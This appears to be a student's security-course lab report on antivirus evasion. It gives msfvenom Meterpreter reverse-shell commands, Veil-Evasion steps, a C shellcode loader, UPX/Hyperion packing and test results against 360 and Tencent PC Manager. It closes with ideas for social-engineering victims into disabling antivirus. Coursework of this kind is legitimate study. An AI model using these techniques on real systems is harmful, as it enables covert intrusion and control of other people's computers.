2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践

一、实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验步骤

任务一 正确使用免杀工具或技巧

1、使用msf编码器msfvenom生成后门程序

  • 使用msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘\x00’ LHOST=192.168.235.144 LPORT=5212 -f exe >fenix.exe指令进行多次编码,生成.exe的后门程序

  • 放到windows系统中,360肯定是可以直接发现的,没有测试的必要

  • 使用virscan进行扫描,结果如下所示:

  • 用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.144 lport=5212 x> 5212met.jar生成.jar的后门程序

  • 使用msfconsole回连成功 (没启动杀软)

  • 放到windows7系统中,杀软并发现它了,扫描没问题,但是运行会查杀

  • 使用virscan进行扫描,结果如下所示:

  • 检测率降低了,但没有实现免杀

2、使用veil-evasion生成后门程序

  • 安装veil-evasion(参考安装教程)
  • 在经过长时间尝试安装veil失败后,我直接安装了可用veil的kali机
  • 输入veil,启用veil

  • 输入use evasion,进入veil-evasion

  • 输入list,查看可生成文件的格式

  • 输入use 7,选择C语言格式

  • 依次输入set LHOST 192.168.235.144和set LPORT 5212设置反弹连接IP和端口
  • 输入generate生成文件,再设置playload的名字:payload5212
  • 生成成功
  • 放到windows中,执行,msf成功监听3
  • 使用virscan进行扫描,结果如下所示:
  • 查杀结果依然显示危险

3、利用shellcode编程生成后门程序

  • 用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.144 LPORT=5212 -f c生成一段shellcode

  • 利用shellcode编写一个C语言程序后门,再用i686-w64-mingw32-g++ feniexp3.c -o fenixexp3.exe编译运行后,测试其可用性

  • C语言代码如下: unsigned char buf[] = "buf"

int main() { int (func)() = (int()())buf; func(); } - 生成文件如图

  • 直接用.C交叉编译生成的exe文件复制到Windows中是无法运行的,错误提示BEX,是win下面类似堆栈保护的机制(但是UPX压索壳加密后可以运行可用回连;upx加壳后的exe再用hyperion加密壳加密后不可再win下面不可以运行,错误提示appcrash,这次原因不再是堆栈保护机制,而是编译C生成的EXE文件这么一层一层弄下来文件本身坏了)

  • upx加密的EXE成功连接

  • 使用virscan进行扫描,结果如下所示:
  • -上述3个exe程序无法实现免杀,扫描就凉了

任务二 通过组合应用各种技术实现恶意代码免杀

对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的fenixveil.exe可执行文件加UPX压缩壳尝试实现免杀 被控机是Win7虚拟机,电脑杀软为360(最新版就这周安装的)

  • 使用virscan进行扫描,结果如下所示:
  • win7下360按位置查杀没有发现:
  • 但是尝试运行回连候会被杀出来,应该是压缩过后储存在硬盘上的代码被改变没有恶意代码的特征,但是运行的时候在行为像病毒木马所以被360查出来。也就是说,upx这个工具生成的后门,存储没问题,运行还不行。hyperion也是一样,甚至
  • 当然了,没开杀软或者信任之后回连成功
  • 所以,总结一下,后门程序、组合实现的shellcode存储免杀没问题,但是运行起来不行

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 本项任务我自己的主机作为受害者,20165313张晨晖的kali作为坏人
  • 杀软版本:电脑管家13.0.19837.233,我在自己主机上启动的程序为半手工编译的shellcode经过upx和hyperion加壳的。结果如图

三、实验中遇到的问题

  • 在安装运行Veil-Evasion时,遇到很多错,很棘手

    • 解决过程: 更换新版本的kali机
  • C交叉编译生成的exe文件、hyperion加密壳生成的exe文件在win7下无法执行。

    • 这个问题其实没有解决,我大致找到了原因:前者是因为“机器码恶意太明显”,win7下有类似堆栈保护的机制,叫“数据执行保护DEP”(错误代码BEX),并且我无法为我的后门程序免除DEP;后者应该是因为一层层编译加壳下来文件本身产生了变化(错误代码APPCRASH),ntdll内核模块出错,我尝试按网上的步骤修改,结果那个虚拟机坏了。使得程序本身无法启动。

四、实验总结

1、基础问题回答

  • (1)杀软是如何检测出恶意代码的?

    • 1)第一种是基于特征码的检测,特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。
    • 2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。
    • 3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • (2)免杀是做什么?
    • 我认为是通过一些特殊的方法,如加壳、编码等,使杀软无法识别主机中的恶意代码。
  • (3)免杀的基本方法有哪些?

    • 1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。
    • 2)第二种是改变行为,如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
    • 3)第三种是非常规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

2、实验总结和收获

  • 结合我身边同学的实际情况来看,如果在windows&360开启的条件下,运行后门程序没有一个成功的(有的运行了几分钟之后才被查杀,但那不算成功吧),为了最后一个任务,我不得不去找了一台装有腾讯电脑管家的电脑去做实验,并且运行没有发现。据我所知,360的病毒库是和卡巴斯基通用的,这两大家安全公司,要是我们简单的学了几个小时复制粘贴几个指令就能逃过去岂不是有些荒唐...

3、离实战还缺少的技术或步骤

  • 目前我们的水平很难弄出能在360眼皮底下运行的后门(我所知道的可以运行的坚持不过几分钟),所以必须要考虑“人为因素”,对计算机使用者进行诱导,使其主动去关闭360或者对我们的后门程序添加信任,也就意味着我们需要对后门程序进行包装,比如把shellcode写进word、QQ等程序里,使操作者对伪装的后门程序没有戒备。还有一种思路:既然后门程序可以安全的存储在硬盘上,那我就可以在弄一个程序去监视计算机的进程,监视到360退出了,这时候去唤醒后门程序

2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. 阿里官方Java代码规范标准

    阿里官方Java代码规范标准<阿里巴巴Java开发手册 终极版 v1.3.0>下载 https://www.cnblogs.com/han-1034683568/p/7680354.htm ...

  2. rxjs学习

    推荐一个好的网站:http://cn.rx.js.org/manual/overview.html#- https://rxjs-cn.github.io/learn-rxjs-operators/o ...

  3. 微服务设计 - api版本控制

    要描述了几种API版本控制的方法.用户可以查询原始的API,或者添加定制的头文件来接收特定的版本.如果应用程序收到一个重大修订,将URI修改为V2.在进行迭代改进时,将创建与更改日期相一致的端点,并允 ...

  4. Android之MVP模式实现登录和网络数据加载

    MVP简介 相信大家对 MVC 都是比较熟悉了:M-Model-模型.V-View-视图.C-Controller-控制器,MVP作为MVC的演化版本,也是作为用户界面(用户层)的实现模式,那么类似的 ...

  5. H5基础知识(一)

    一.概述 HTML5  是html4.0 升级版 结构 Html5 .样式 css3 .行为: API  都有所增强 HTML5并不仅仅只是做为HTML标记语言的一个最新版本,更重要的是它制定了Web ...

  6. A Creative Cutout CodeForces - 933D (计数)

    大意:给定$n$个圆, 圆心均在原点, 第$k$个圆半径为$\sqrt{k}$ 定义一个点的美丽值为所有包含这个点的圆的编号和 定义函数$f(n)$为只有$n$个圆时所有点的贡献,求$\sum_{k= ...

  7. 主席树学习笔记-hdu-2665

    主席树就是对每个历史版本都建了一颗线段树,这样我们在统计一些问题的时候,对于一个区间[L,R]的询问,就可以利用前缀和的思想找到第L-1和第R颗历史版本的线段树来处理查找.由于这样空间需求就增大了,注 ...

  8. PL/SQL 中 dbms_output.put_line 输出字符长度限制的问题

    可以使用dbms_out.enable()函数来设定允许的长度. PL/SQL 中 dbms_output.put_line 输出字符长度限制的问题

  9. vuex 简单理解

    废话不多说,直接上图!                 不懂的 参考 API

  10. Python Django 之 Model

    一.Model建表步骤 1. 2. 3. 二.单表的增删改查 1.insert 1)方法一 book.objects.create( title="疯狂外星人", price=10 ...